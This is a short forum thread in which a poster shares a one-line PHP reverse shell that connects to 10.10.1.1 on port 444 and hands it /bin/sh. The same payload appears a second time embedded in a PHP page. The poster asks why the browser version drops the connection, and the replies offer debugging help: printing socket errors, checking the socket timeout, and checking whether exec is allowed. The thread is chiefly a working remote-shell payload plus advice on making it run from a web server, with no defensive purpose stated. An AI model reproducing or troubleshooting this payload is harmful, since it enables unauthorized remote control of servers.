PHP TCP Connection

Hello,

I have been testing this one line of code to get a TCP shell connection:

php -r ‘$sock=fsockopen(“10.10.1.1”,444);exec("/bin/sh -i <&3 >&3 2>&3");’

It works fine when I run it from the command line, but when I run it from a browser as the following:

<?php $sock=fsockopen("10.10.1.1",444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

It connects and drops straight away without any shell.

Has anyone any insight as to what the solution is to get this to work?

Print any errors:
[php]$fp = fsockopen(“10.10.1.1”, 444, $errno, $errstr, 30);
if (!$fp) {
echo “$errstr ($errno)
\n”;
} else {
// do something
}[/php]

Check out “default_socket_timeout” in php.ini

Make sure you can actually run exec command, most servers disallow it, not sure about local ones…

Sponsor our Newsletter | Privacy Policy | Terms of Service